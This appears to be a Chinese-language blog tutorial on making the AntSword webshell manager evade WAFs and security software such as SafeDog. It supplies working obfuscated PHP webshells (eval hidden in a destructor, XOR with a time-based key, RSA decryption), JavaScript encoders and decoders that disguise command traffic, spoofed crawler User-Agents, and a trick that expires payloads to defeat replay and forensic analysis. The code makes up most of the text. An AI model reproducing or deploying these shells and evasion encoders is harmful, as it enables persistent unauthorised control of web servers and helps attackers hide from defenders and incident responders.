中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。而在平常渗透测试中,也只是单纯利用蚁剑进行shell的维持,但如果网站安装了相应的安全软件,蚁剑也不一定能够成功隐藏身份,因此本文对蚁剑进行相关的改造,以实现让安全软件无法识别蚁剑的流量特征
设置代理
想要查看蚁剑的数据包流量信息,只需要Burpsuite
的配合即可,蚁剑支持代理模块,因此我们将蚁剑的代理设为Burpsuite
的默认代理,这样使用其抓包就能查看来自蚁剑的数据包
UA特征修改
通过尝试代理是否成功,检验一下发送的数据包:
可以发现通过蚁剑构造的数据包的User-agent
头为antSword/v2.1
,而相比大多数网站防护软件早已将这种UA
头给过滤,因此需要修改UA头为标准的UA头以避免被拦截,因此需要将其修改为普通的UA头:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
修改位置在蚁剑工作目录的:/modules/request.js
中:
当然也可以修改成其他UA头,例如百度爬虫等UA,不过在这里可以借助设计爬虫的思想,设计一个动态的UA列表,每次随机加载其中之一即可:
let USER_AGENTS = [
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36",
"User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
"User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
];
const USER_AGENT = USER_AGENTS[Math.floor(Math.random() * USER_AGENTS.length + 1)];
修改完成重启蚁剑后查看UA头发现已经修改完成,下面尝试分析蚁剑查看文件的命令:
读取文件:
cmd = @ini_set("display_errors", "0");
@set_time_limit(0); //不显示报错
function asenc($out){
return $out;
}; //用于返回信息
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "974d7a7b"; //用户流量混淆
echo @asenc($output);
echo "b8834c6"
;}
ob_start();
try{
$F=base64_decode($_POST["h84ecea2082e15"]);//base64解码post传入的另一个数据
$P=@fopen($F,"r");
echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;
}//进行文件读取
catch(Exception $e){
echo "ERROR://".$e->getMessage();}; //如有报错则会输出报错信息
asoutput();
die();
h84ecea2082e15=查看文件地址的base64
cmd
即为shell的密码,不同的shell对应的密码也不一致,可以看到蚁剑在读取文件时,也做了相应的流量混淆,并不是完全毫无保留的对文件进行读取,通过分析流量仍能够非常清楚的看到相关意图,因此还需要对流量进行进一步的混淆
webshell选择
这类安全软件大多都是分别从静态查杀和动态查杀进行同时拦截,因此我们首先要绕过静态查杀,而这种变形的webshell网上也有很多类似:
<?php
error_reporting(0);
function argu($a, $b){
$ext = explode('ABKing',$a);
$ext1 = $ext[0];
$ext2 = $ext[1];
$ext3 = $ext[2];
$ext4 = $ext[3];
$ext5 = $ext[4];
$ext6 = $ext[5];
$arr[0] = $ext1.$ext2.$ext3.$ext4.$ext5.$ext6;
$arr[1] = $b;
return $arr;
}
$b = $_POST['x'];
$arr = argu("aABKingsABKingsABKingeABKingrABKingt", $b);
$x = $arr[0];
$y = $arr[1];
array_map($x, array($y));
?>
还有在蚁剑插件市场中,有生成免杀shell,和生成shell等插件
可以看到生成免杀shell时,通过字符串的异或来实现免杀
并且绕过安全狗的静态查杀:
而使用生成shell插件,
通过各种字符串的编码变形,包括base64,rot13,chr编码等等方式,但是直接使用的话仍然会被最新版安全狗拦截,因为使用了create_function
函数:
自定义编码器和默认编码器
部分安全软件会实现中间件上的流量监测,顾名思义,这一类主要是布署在中间件这一层上,让所有的http
流量先经过WAF,然后再交给后端组件处理。静态文件变形没有关系,我直接看你发送的流量是否正常,通过流量来进行正则的过滤,如果匹配,则可以大概率确定该文件是异常文件,从而实现拦截。例如在使用默认编码器进行传输时,可以抓包查看默认编码器下的效果:
除了查看文件地址进行简答的base64加密外都是明文传输,这段内容,充斥着大量的关键字,在正常的业务数据中,几乎是不会有的,这也是查杀的重要关注点,因此要实现一个蚁剑的编码器,通过蚁剑的编码器将编码后的数据发送给shell,前提是shell能够处理编码后的数据。
在蚁剑自带的编码器中,存在base64、chr、chr16、rot13
四种编码器,下面依次来简单的分析一下四种编码器在流量上的特征
base64编码器
查看一下简单加载shell传输的流量,发现虽然少了很多关键函数,但是仍然无法避免eval
和base64_decode
,在4.0版的安全狗中会被拦截
base64编码器的大致工作就是将中间的操作函数全部通过base64加密后,最终使用eval(base64_decode())
来执行,但是在此过程中eval()
和base64_decode
会被识别从而进行拦截
chr编码器
可以看到当使用chr编码器时将所有操作函数通过CHR()
编码后使用eval来执行,这种方式能够直接绕过safedog
而chr16编码的形式和chr差别不大,只是将其替换为16进制的形式,自然也能够通过匹配,实现绕过:
rot13编码器
使用rot13编码,将中间函数全部进行rot13编码,这样不会出现关键函数,而在最后使用eval(str_rot13())
:
但是这种方式同样会被拦截:
下面通过github一个编码器的项目,再对编码器进行分析:
b64pass编码器
/**
* php::b64pass编码器
* Create at: 2018/10/11 21:40:45
*
* 把所有 POST 参数都进行了 base64 编码
*
* 适用shell:
*
* <?php @eval(base64_decode($_POST['ant']));?>
*
*/
'use strict';
module.exports = (pwd, data) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
delete data['_'];
return data;
}
}
该编码器将所有的内容全部进行base64编码,这样一来避免出现eval(base64_decode())
,如果是这样,shell则需要进行base64_decode
过滤:
将该编码器和base64默认编码器对比一下发现,这里将所有PHP函数都进行了base64编码传输给shell,使用这种方式同样能够绕过safedog的静态检测
双base64编码器
这里如果使用一层base64会被拦截,为了更为妥当,可以使用双base64进行编码甚至多重base64进行编码,这样混淆之后的流量基本不会被识别出来
/**
* php::base64编码器
* Create at: 2020/11/21 15:21:10
*/
'use strict';
/*
* @param {String} pwd 链接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你本身的代码 ###################
// 如下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来以后,转为 base64 编码并放入 randomID key 下
data['_'] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
//data[pwd] = `${data['_']}"));`;
data[pwd] = Buffer.from(data['_']).toString('base64');
// ########## 请在上方编写你本身的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
这里使用免杀的webshell:
<?php
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode(base64_decode($post));
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
这里来看下经过两次base64加密后的混淆数据流量:
基于时间的蚁剑动态秘钥编码器
在上述编码器中虽然能够成功绕过安全防护软件,但是通过查看日志能够发现流量存在一定异常,并且加密方式很明显,在溯源过程中可以手工进行两次base64加密便得以知道我们使用蚁剑相应的操作,因此想构造一种基于时间的加密,这样即便是人为判断流量异常,也无法恢复明文知道我们的操作行为:
'use strict';
//基于时间的蚁剑动态秘钥编码器
//link :https://yzddmr6.tk/posts/antsword-xor-encoder/
//code by yzddmr6
/* 服务端
<?php
date_default_timezone_set("PRC");
@$post=base64_decode($_REQUEST['yzddmr6']);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%32];
}
eval($post);
?>
*/
module.exports = (pwd, data, ext={}) => {
function xor(payload){
let crypto = require('crypto');
Object.assign(Date.prototype, {
switch (time) {
let date = {
"yy": this.getFullYear(),
"MM": this.getMonth() + 1,
"dd": this.getDate(),
"hh": this.getHours(),
"mm": this.getMinutes(),
"ss": this.getSeconds()
};
if (/(y+)/i.test(time)) {
time = time.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length));
}
Object.keys(date).forEach(function (i) {
if (new RegExp("(" + i + ")").test(time)) {
if (RegExp.$1.length == 2) {
date[i] < 10 ? date[i] = '0' + date[i] : date[i];
}
time = time.replace(RegExp.$1, date[i]);
}
})
return time;
}
})
let newDate = new Date();
let time = newDate.switch('yyyy-MM-dd hh:mm');
let key = crypto.createHash('md5').update(time).digest('hex')
key=key.split("").map(t => t.charCodeAt(0));
//let payload="phpinfo();";
let cipher = payload.split("").map(t => t.charCodeAt(0));
for(let i=0;i<cipher.length;i++){
cipher[i]=cipher[i]^key[i%32]
}
cipher=cipher.map(t=>String.fromCharCode(t)).join("")
cipher=Buffer.from(cipher).toString('base64');
//console.log(cipher)
return cipher;
}
data['_'] = Buffer.from(data['_']).toString('base64');
data[pwd] = `eval(base64_decode("${data['_']}"));`;
data[pwd]=xor(data[pwd]);
delete data['_'];
return data;
}
将时间的md5值设置为key进行异或操作通过base64传输,shell获取到编码后的数据时先base64解密后再通过时间的md5进行一次异或解密得到明文,使用对应的免杀shell马:
<?php
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
date_default_timezone_set("PRC");
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['x'];
$post = &$password;
$post=base64_decode($post);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%32];
}
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
最终的效果就是将流量混淆成:
并且使用基于时间混淆的好处在于如果在后期想要利用重放来得到这段代码执行的操作也是不可实现的,因为对应的时间已经不一致了,这样一来便彻底无法知道该段代码的具体操作是什么。
当然我们也可以利用解码器来进行相关解码,同样能够实现对操作的多重混淆导致无法识别代码的具体操作,解码器相关的分析和使用在之后再谈
zlib_deflated_raw 编码器
该方式通过将数据进行zlib压缩后进行base64编码传输给shell,这样要求shell将传输的数据先进行base64解密后通过gzinflate
将压缩数据进行解压缩,从而实现流量混淆:
/**
* php::zlib_deflated_raw 编码器
* Create at: 2019/01/12 00:05:44
* zlib 压缩 payload, 适配 shell 见代码处
*/
'use strict';
var zlib = require('zlib');
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = zlib.deflateRawSync(data['_']).toString('base64');
// <?php @eval($_POST['ant']);?>
//data[pwd] = `eval(@gzinflate(base64_decode($_POST[${randomID}])));`;
// <?php @eval(@gzinflate(base64_decode($_POST['ant']))); ?>
data[pwd] = zlib.deflateRawSync(`@eval(@gzinflate(base64_decode($_POST[${randomID}])));`).toString('base64');
// <?php @eval(@gzinflate(base64_decode($_POST['ant']))); ?>
// data[pwd] = zlib.deflateRawSync(`@eval(@gzinflate(base64_decode($_POST[${randomID}])));`).toString('base64');
// ########## 请在上方编写你自己的代码 ###################
delete data['_'];
return data;
}
利用之前的免杀shell进行修改即可,即将传输数据进行gzinflate(base64_decode($_POST['']));
,来观察一下流量情况:
RSA编码器
蚁剑从2.1版本后开始支持RSA加密算法,不过只是针对PHP的编码器
这里的思路也就是利用非对称加密的方式,先用私钥将传输的内容进行加密,然后传输给shell后,shell通过公钥进行解密,从而实现对流量的混淆,RSA的实现原理在这里不在叙述,但是使用RSA编码器需要前提条件,也就是需要开启openssl模块,不开启该模块无法调用解密函数:
/**
* php::RSA编码器
* Create at: 2021/03/02 15:27:33
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
let n = Math.ceil(data['_'].length / 80);
let l = Math.ceil(data['_'].length / n);
let r = []
for (var i = 0; n > i; i++) {
r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));
}
data[pwd] = r.join("|");
delete data['_'];
return data;
}
同时上传免杀一句话shell:
<?php
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['x'];
$post = &$password;
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5ZIPIttsVOX4xU87JOkJCLZNW
g0H7dUdn0WCZofvwB3uWZy4xp7vvFqDkYakhOR0HOhRbLIHFg8gFKhBkJ8eyy78x
kd+L8zxjjUGqEek075VC0Bh7mqwfH5aANpI0LPxxasxq+MCe0OGGhnmI1ZGv/NNy
7zBTkeAIHOoyD/f1eQIDAQAB
-----END PUBLIC KEY-----
EOF;
$posts = explode("|", $post);
$pk = openssl_pkey_get_public($pk);
$post = '';
foreach ($posts as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$post .= $de;
}
}
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
此前使用PHP版本为5.4.45,但是一直连接不上,换成PHP7以上版本后成功连接,可能是版本的openssl_public_decrypt
有所差异,连接成功后查看加密流量:
但是在awd中别人能够抓取你的webshell读取flag流量并且转发到其余的服务器上获得flag,或者在真实环境中通过重放攻击还原你的shell进行的各种操作,因此我们可以在编码器中加入:
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;
来设置数据的时效性为5s,5s之后该数据则变为die();
总结
编码器的方式多种多样,也可以根据需求开发属于自己的私密编码器,只需要注意传输的数据shell能够正确的解密即可,另外在参考项目中,还有利用aes-128
和aes-256
等方式进行加密传输,但是需要在连接时携带cookie
,本质还是实现流量混淆,因此在这里不再进行分析,此外如果想设置时效性,避免重放能够知道相应操作或者在awd中利用相同流量去打其他服务器,可以通过该方法设置传输数据的时效性:
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();/*这里可以自定义代码*/};${data['_']}`;
自定义解码器和默认解码器
前文对蚁剑的编码器做了相关的叙述,前文我们讲到编码器就是在将数据传输给shell之前,蚁剑内部对数据进行相关编码,shell将编码进行解码化后进行实现,最终返回,而我们注意到即使编码有多么复杂,在没有考虑时效性的基础上,返回的数据都是明文形式的,这样安全软件能够检测页面的响应情况来判断是否进行拦截和屏蔽等操作,因此我们可以通过解码器将返回数据也同样变成编码形式,通过蚁剑的解码器后在将其变成明文,这样避免了服务器返回明文的数据,增加了流量的混淆程度
先分析原始发送的php代码:
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "25ad391b4";
echo @asenc($output);
echo "94db763fc9";
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
其中asenc
函数就是指定的输出内容,默认情况下直接输出明文,若我们设置了解码器,那么我们在编码器内编写的混淆函数变会替换asenc
的内容,然后服务器响应的数据通过asenc
函数混淆后输出
解码器的源码:
/**
* php::base64解码器
* Create at: 2021/03/02 18:52:44
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}
base64解码器
使用该解码器进行解码时,也就是将响应数据进行了base64加密进行输出,但是却不是直接进行base64加密操作,放一张使用base64解码器后的响应流量:
发现直接将响应数据进行base64解码后是乱码形式,这是因为我们注意到在asoutput
函数中每次都设置了随机的前后分界字符串,只有客户端知道分界位置,WAF基本上是没法定位位置进行解码的,因此相当于base64编码前后都有一段随机的字符串,当然我们可以通过爆破前后位置最终得到base64编码,不过这也是蚁剑开发过程中的小细节,通过设置前后分解字符串来模拟了一个简单的加盐操作
rot13解码器
相比于base64解码器,rot13解码器并没有很大的优势,因为rot13加密本身就是凯撒的变形,并且由于没有进行分组加密,因此加入前后分界字符串的意义也就不明显了,并且混淆程度也不高,能够直接将混淆后的流量在进行rot13解码便能能到明文:
基于时间的动态秘钥解码器
前文既然可以基于时间来设置动态密钥编码器,也自然可以设置基于时间的解码器,原理和编码器的设计原理是一致的,通过对当前时间md5值的计算得到异或密钥,将服务器响应的明文数据和密钥进行异或后输出,在解码器的decode_buff
再进行一轮异或得到明文:
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
date_default_timezone_set("PRC");
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($out);$i++){
$out[$i] = $out[$i] ^ $key[$i%32];
}
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
function xor(payload){
let crypto = require('crypto');
//确定一个24小时制的规范时间格式
Object.assign(Date.prototype, {
switch (time) {
let date = {
"yy": this.getFullYear(),
"MM": this.getMonth() + 1,
"dd": this.getDate(),
"hh": this.getHours(),
"mm": this.getMinutes(),
"ss": this.getSeconds()
};
if (/(y+)/i.test(time)) {
time = time.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length));
}
Object.keys(date).forEach(function (i) {
if (new RegExp("(" + i + ")").test(time)) {
if (RegExp.$1.length == 2) {
date[i] < 10 ? date[i] = '0' + date[i] : date[i];
}
time = time.replace(RegExp.$1, date[i]);
}
})
return time;
}
})
let newDate = new Date();
let time = newDate.switch('yyyy-MM-dd hh:mm');
let key = crypto.createHash('md5').update(time).digest('hex')
key = key.split("").map(t => t.charCodeAt(0));
let data = payload;
let cipher=Buffer.from(data.toString(), 'base64').toString();
cipher = cipher.split("").map(t => t.charCodeAt(0));
for (let i = 0; i < cipher.length; i++) {
cipher[i] = cipher[i] ^ key[i % 32]
}
cipher=cipher.map(t=>String.fromCharCode(t)).join("")
return cipher;
}
return xor(data);
}
}
使用该解码器来看一下发送和响应的混淆流量:
此时的流量已经加密的基本上检测不出,因此大多数情况下应该可以达到混淆的目的了。
总结
解码器也是为了绕过安全防护软件对页面相应情况的追踪和拦截,对页面的输出进行编码从而让其无法知道shell的流量特征以及该流量对应执行的操作情况,此外在蚁剑中还支持Multipart
传输:
我们知道,如果是商业WAF,出于对业务性能影响,可能会把multipart/form-data
这种多用来上传文件的传输方式检测关闭掉,否则攻击者持续上传大文件,一直损耗WAF的性能,拖垮相关业务,因此如果使用Multipart
进行传输,对流量的混淆也起到了一定的积极作用
同时蚁剑还推出分块传输的功能,利用的chunk
这种传输方式,把payload
分成一小段一小段传过去,这样原本一个包中的eval(base64_decode())
则会被分割成很多小块进行传输,绕过了某些正则,减小了被规则击中的可能
本篇文章只是简单对蚁剑的编码器和一些特征进行修改以混淆流量对安全防护软件的绕过等,各位大佬可以根据自己需求来写私有加密解密器从而实现流量的混淆